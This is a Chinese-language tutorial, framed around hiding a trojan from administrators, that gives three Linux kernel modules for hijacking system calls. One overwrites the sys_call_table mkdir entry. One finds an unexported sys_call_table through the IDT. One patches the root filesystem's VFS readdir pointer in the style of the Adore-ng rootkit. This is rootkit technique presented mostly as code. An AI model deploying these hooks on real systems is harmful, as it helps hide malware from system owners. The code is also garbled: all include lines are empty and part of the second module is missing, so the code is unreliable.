關於系統調用劫持
如果一個木馬要隱藏起來,不被系統管理員發現。截獲系統調用似乎是必須的。大部分情況下,通過修改系統調用表來實現系統調用的劫持。下面是一個典型的截獲系統調用的模組:
模組一:
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal one*/
}
用這種方法實現系統調用有個前提,就是系統必須匯出sys_call_table核心符號,但是在2.6核心和有些2.4核心的系統(比如
redhat as 3)中,sys_call_table不再匯出。也就是說模組中不能再通過簡單的extern void
*sys_call_table[];來獲得系統調用表地址。所幸的是,即使核心不匯出sys_call_table,也可以在記憶體中找到它的地址,下面
是它的實現方法:
模組二:(2.4和2.6核心測試通過)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
unsigned char idtr[6],*shell,*sort;
struct _idt *idt;
unsigned long system_call,sct;
unsigned short offset_low,offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
__asm__("sidt %0" : "=m" (idtr));
/* get the address of system_call */
idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call=(offset_highpid);
return orig_mkdir(pathname,mode);
}
static int __init find_init(void){
sys_call_table = getscTable();
orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
return 0;
}
static void __exit find_cleanup(void){
sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
}
module_init(find_init);
module_exit(find_cleanup);
getscTable()是在記憶體中尋找sys_call_table地址的函數。
每一個系統調用都是通過int
0x80中斷進入核心,中斷描述符表把中斷服務程式和中斷向量對應起來。對於系統調用來說,作業系統會調用system_call中斷服務程式。
system_call函數在系統調用表中根據系統調用號找到並調用相應的系統調用服務常式。idtr寄存器指向中斷描述符表的起始地址,用
__asm__ ("sidt %0" : "=m" (idtr));指令得到中斷描述符表起始地址,從這條指令中得到的指標可以獲得int
0x80中斷服描述符所在位置,然後計算出system_call函數的地址。反編譯一下system_call函數可以看到在system_call函
數內,是用call sys_call_table指令來調用系統調用函數的。
因此,只要找到system_call裡的call sys_call_table(,eax,4)指令的機器指令就可以獲得系統調用表的入口地址了。
對於截獲檔案系統相關的系統調用,Adore-ng rootkit提供了一種新的方法。簡單的說,就是通過修改vfs檔案系統的函數跳轉表來截獲系統調用,這種方法不用藉助於系統調用表。
下面是它的實現方法:
模組三:(2.4和2.6核心測試通過)
#include
#include
#include
#include
#include
#include
MODULE_AUTHOR("
[email=xunil@BMY]xunil@BMY[/email]
");
MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capturesystem calls.");
MODULE_LICENSE("GPL");
char *root_fs="/";
typedef int (*readdir_t)(struct file *,void *,filldir_t);
readdir_t orig_root_readdir=NULL;
int myreaddir(struct file *fp,void *buf,filldir_t filldir)
{
int r;
printk("You got me partner!/n");
r=orig_root_readdir(fp,buf,filldir);
return r;
}
int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
if(orig_readdir)
*orig_readdir=filep->f_op->readdir;
filep->f_op->readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int unpatch_vfs(const char *p,readdir_t orig_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
filep->f_op->readdir=orig_readdir;
filp_close(filep,0);
return 0;
}
static int patch_init(void)
{
patch_vfs(root_fs,&orig_root_readdir,myreaddir);
printk("VFS is patched!/n");
return 0;
}
static void patch_cleanup(void)
{
unpatch_vfs(root_fs,orig_root_readdir);
printk("VFS is unpatched!/n");
}
module_init(patch_init);
module_exit(patch_cleanup);